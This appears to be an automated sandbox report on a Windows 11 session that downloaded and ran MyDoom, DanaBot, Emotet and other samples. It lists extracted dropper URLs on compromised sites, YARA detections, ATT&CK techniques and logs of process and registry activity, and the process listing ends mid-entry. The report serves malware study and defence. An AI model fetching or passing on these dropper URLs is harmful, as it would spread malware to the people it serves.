mydoom | hxxp://google[.]com

Analysis

max time kernel
186s
max time network
185s
platform
windows11-21h2_x64
resource
win11-20250313-en
resource tags

arch:x64arch:x86image:win11-20250313-enlocale:en-usos:windows11-21h2-x64system
submitted
05/04/2025, 21:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://google.com

Score

10^/10

mydoom defense_evasion discovery macro upx worm xlm

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://blockchainjoblist.com/wp-admin/014080/

exe.dropper

https://womenempowermentpakistan.com/wp-admin/paba5q52/

exe.dropper

https://atnimanvilla.com/wp-content/073735/

exe.dropper

https://yeuquynhnhai.com/upload/41830/

exe.dropper

https://deepikarai.com/js/4bzs6/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://erpoweredent.at/3/zte.dll

Signatures

Detects MyDoom family 2 IoCs

resource	yara_rule
behavioral1/memory/3300-1969-0x00000000004A0000-0x00000000004AD000-memory.dmp	family_mydoom
behavioral1/memory/5544-2016-0x00000000004A0000-0x00000000004AD000-memory.dmp	family_mydoom

MyDoom
MyDoom is a Worm that is written in C++.
worm mydoom
Mydoom family
mydoom

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4236	3464	powershell.exe	132

Blocklisted process makes network request 4 IoCs

flow	pid	Process
178	4236	powershell.exe
179	4236	powershell.exe
180	4236	powershell.exe
181	4236	powershell.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
165	5432	msedge.exe
165	5432	msedge.exe
165	5432	msedge.exe
165	5432	msedge.exe
165	5432	msedge.exe
165	5432	msedge.exe

Suspicious Office macro 1 IoCs

Office document equipped with 4.0 macros.

macro xlm

resource	yara_rule
behavioral1/files/0x000b00000002adb8-1773.dat	office_xlm_macros

ACProtect 1.3x - 1.4x DLL software 4 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x001d00000002b3d0-1963.dat	acprotect
behavioral1/memory/3300-1965-0x000000007E1A0000-0x000000007E1A7000-memory.dmp	acprotect
behavioral1/memory/3300-1970-0x000000007E1A0000-0x000000007E1A7000-memory.dmp	acprotect
behavioral1/memory/5544-2013-0x000000007E1A0000-0x000000007E1A7000-memory.dmp	acprotect

Executes dropped EXE 7 IoCs

pid	Process
6004	DanaBot.exe
6652	MyPics.a.exe
3300	MyDoom.A.exe
5544	MyDoom.A.exe
6464	Pikachu.exe
6700	Prolin.exe
7084	Windows-KB2670838.msu.exe

Loads dropped DLL 2 IoCs

pid	Process
3300	MyDoom.A.exe
5544	MyDoom.A.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
163	raw.githubusercontent.com
164	raw.githubusercontent.com
165	raw.githubusercontent.com

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	6368	3296	DW20.EXE	143

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\shimgapi.dll	MyDoom.A.exe
File opened for modification	C:\Windows\SysWOW64\shimgapi.dll	MyDoom.A.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x001a00000002b093-1952.dat	upx
behavioral1/memory/3300-1961-0x00000000004A0000-0x00000000004AD000-memory.dmp	upx
behavioral1/files/0x001d00000002b3d0-1963.dat	upx
behavioral1/memory/3300-1965-0x000000007E1A0000-0x000000007E1A7000-memory.dmp	upx
behavioral1/memory/3300-1970-0x000000007E1A0000-0x000000007E1A7000-memory.dmp	upx
behavioral1/memory/3300-1969-0x00000000004A0000-0x00000000004AD000-memory.dmp	upx
behavioral1/memory/5544-2016-0x00000000004A0000-0x00000000004AD000-memory.dmp	upx
behavioral1/memory/5544-2013-0x000000007E1A0000-0x000000007E1A7000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_2396_1414434254\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_90_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_1572334186\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_509981145\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_1501613003\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_1501613003\manifest.fingerprint	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_628636294\manifest.json	msedge.exe
File created	C:\WINDOWS\Start Menu\Programs\StartUp\creative.exe	Prolin.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_523413257\edge_autofill_global_block_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_523413257\v1FieldTypes.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_523413257\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_523413257\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_509981145\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_509981145\manifest.fingerprint	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_523413257\regex_patterns.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2396_277447453\_locales\no\messages.json	msedge.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 6 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\MyDoom.A.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Pikachu.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Prolin.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Windows-KB2670838.msu.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\DanaBot.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\MyPics.a.exe:Zone.Identifier	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4836	6004	WerFault.exe	119

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DanaBot.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MyPics.a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MyDoom.A.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Pikachu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Prolin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Windows-KB2670838.msu.exe

Checks processor information in registry 2 TTPs 13 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	dwwin.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	dwwin.exe

Enumerates system info in registry 2 TTPs 11 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwwin.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133883619008377498"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2873637269-1458872900-2373203793-1000\{112862C7-5870-440A-B84C-26F16E3246D0}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2873637269-1458872900-2373203793-1000_Classes\Local Settings	msedge.exe

NTFS ADS 9 IoCs

description	ioc	Process
File created	C:\creative.exe\:Zone.Identifier:$DATA	Prolin.exe
File opened for modification	C:\Users\Admin\Downloads\Windows-KB2670838.msu.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\MyDoom.A.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Pikachu.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\DanaBot.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Emotet.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Zloader.xlsm:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\MyPics.a.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Prolin.exe:Zone.Identifier	msedge.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

pid	Process
424	WINWORD.EXE
424	WINWORD.EXE
3296	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4236	powershell.exe
4236	powershell.exe
4236	powershell.exe
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
4844	msedge.exe
4844	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4236	powershell.exe
Token: SeRestorePrivilege	6404	dwwin.exe
Token: SeBackupPrivilege	6404	dwwin.exe
Token: SeDebugPrivilege	7084	Windows-KB2670838.msu.exe
Token: SeDebugPrivilege	7084	Windows-KB2670838.msu.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
424	WINWORD.EXE
424	WINWORD.EXE
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe
2396	msedge.exe

Suspicious use of SetWindowsHookEx 25 IoCs

pid	Process
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
3296	EXCEL.EXE
6464	Pikachu.exe
6700	Prolin.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 4612	2396	msedge.exe	80
PID 2396 wrote to memory of 4612	2396	msedge.exe	80
PID 2396 wrote to memory of 5432	2396	msedge.exe	83
PID 2396 wrote to memory of 5432	2396	msedge.exe	83
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 4656	2396	msedge.exe	86
PID 2396 wrote to memory of 2308	2396	msedge.exe	84
PID 2396 wrote to memory of 2308	2396	msedge.exe	84
PID 2396 wrote to memory of 2308	2396	msedge.exe	84
PID 2396 wrote to memory of 2308	2396	msedge.exe	84
PID 2396 wrote to memory of 2308	2396	msedge.exe	84

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument http://google.com
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x298,0x7ffa88e0f208,0x7ffa88e0f214,0x7ffa88e0f220
  2⤵
  PID:4612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1828,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  PID:5432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2168,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:2
  2⤵
  PID:2308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2440,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=3032 /prefetch:13
  2⤵
  PID:4656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3436,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:1
  2⤵
  PID:5744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3444,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
  2⤵
  PID:5356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
